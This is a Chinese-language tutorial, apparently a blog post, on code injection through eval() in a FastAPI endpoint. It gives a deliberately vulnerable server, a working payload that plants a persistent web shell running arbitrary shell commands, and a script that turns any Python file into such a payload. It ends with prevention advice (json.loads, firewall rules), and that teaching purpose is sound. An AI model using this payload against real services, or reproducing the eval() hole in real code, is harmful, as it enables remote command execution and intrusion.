针对Python3
下Web框架不安全方法eval()
的代码注入攻击
概览
在Python3
中,使用eval()
方法可以简单粗暴的把json
字符串转成字典, 很多新手在刚刚入门web开发的时候常用这种方法. 但这种方法也可以用来执行一串命令, 虽然方法受到了限制比如不能在其中执行赋值语句等等.
以下是一个演示根据eval()
方法不安全使用的一种攻击, 通过注入代码, 搭建一个简易的Web Shell
, 为了方便, 使用FastAPI
框架进行演示, 因为其自带测试用的接口文档, 可直接在其中进行接口访问. 只需安装Python3
和FastAPI
模块即可复现这个例子.
原理
eval()
是 Python 的内置函数,用于动态执行字符串形式的 Python 代码。尽管 eval()
的功能强大,但其不安全性也使其成为潜在的攻击目标。当 eval()
函数用于处理用户输入或外部数据时,攻击者可以通过构造恶意代码来执行任意命令。
FastAPI
服务端演示代码
这里在8001端口下/json_prase
接口使用了不安全的json
加载方法, 代码如下:
#server.py
import json
import os
from fastapi import FastAPI
from pydantic import BaseModel
import subprocess
import time
app = FastAPI()
'''
...
'''
class Request(BaseModel):
request: str
@app.post('/json_prase/')
async def execute_command(request: Request):
return eval(request.request)
import uvicorn
uvicorn.run(app,port=8001,host='0.0.0.0')
按照正常的使用方式, 大概是这样, 也就是发一串json过去,服务端解析json,然后干一些什么事情.
攻击
如果我发这个呢?
{
"request": "os.system(\"echo \\\"from fastapi import FastAPI\\\\nfrom pydantic import BaseModel\\\\nimport subprocess\\\\napp = FastAPI()\\\\nclass Command(BaseModel):\\\\n cmd: str\\\\n@app.post('/execute/')\\\\nasync def execute_command(command: Command):\\\\n try:\\\\n output = subprocess.check_output(command.cmd, shell=True, stderr=subprocess.STDOUT, text=True)\\\\n except subprocess.CalledProcessError as e:\\\\n output = e.output\\\\n return {'output': output}\\\\nimport uvicorn\\\\nuvicorn.run(app, host='0.0.0.0', port=8000,log_level='critical')\\\" > t.py ; chmod +x t.py; python3 t.py&\")"
}
其实就是让它执行了一段代码,如下:
from fastapi import FastAPI
from pydantic import BaseModel
import subprocess
app = FastAPI()
class Command(BaseModel):
cmd: str
@app.post('/execute/')
async def execute_command(command: Command):
try:
output = subprocess.check_output(command.cmd, shell=True, stderr=subprocess.STDOUT, text=True)
except subprocess.CalledProcessError as e:
output = e.output
return {'output': output}
import uvicorn
uvicorn.run(app, host='0.0.0.0', port=8000,log_level='critical')
因为在eval()
方法下不能执行赋值语句,不能执行导入,于是乎以写入文件在通过shell执行.
运行效果:
直接在web的测试页面里就可以执行shell命令了, 可以看到返回的结果. 而且因为是后台运行的, 即使是关闭了也不会退出.
直接把代码手动转成字符串太费劲了, 可以先手写文件, 然后运行脚本把文件转成这种字符串.
import os
def python_file_to_string(filepath):
with open(filepath, "r") as file:
content = file.read()
lines = content.split("\n")
escaped_lines = [line.replace("\\", "\\\\").replace("\"", "\\\"") for line in lines]
escaped_content = "\\\\n".join(escaped_lines)
final_string = f"os.system(\"echo \\\"{escaped_content}\\\" > t.py ; chmod +x t.py; python3 t.py&\")"
return final_string
app_code = python_file_to_string("fastapi_app.py")
print(app_code)
# eval(app_code)
然后把这个打印出来的字符串通过请求的方式注入到指定的接口就好了.
局限
目前, 这个漏洞的利用存在许多的局限, 如下:
- 使用
Python3
- 在某个能被找到的接口中使用
eval()
方法进行解析 - 引入了
os
模块 - 防火墙放行了其它端口
预防
- 使用安全的
json.loads()
方法加载字典:
#server.py
import json
import os
from fastapi import FastAPI
from pydantic import BaseModel
import subprocess
import time
app = FastAPI()
'''
...
'''
class Request(BaseModel):
request: str
@app.post('/json_prase/')
async def execute_command(request: Request):
return json.loads(request.request)
import uvicorn
uvicorn.run(app,port=8001,host='0.0.0.0')
这里看到使用后再碰到一样的请求就抛异常了,而不是直接傻乎乎的执行.
- 防火墙默认不开放所有端口, 只开放需要使用的端口. 一般服务器厂商会用两重防火墙, 一层是操作系统以外的, 一层是操作系统上的.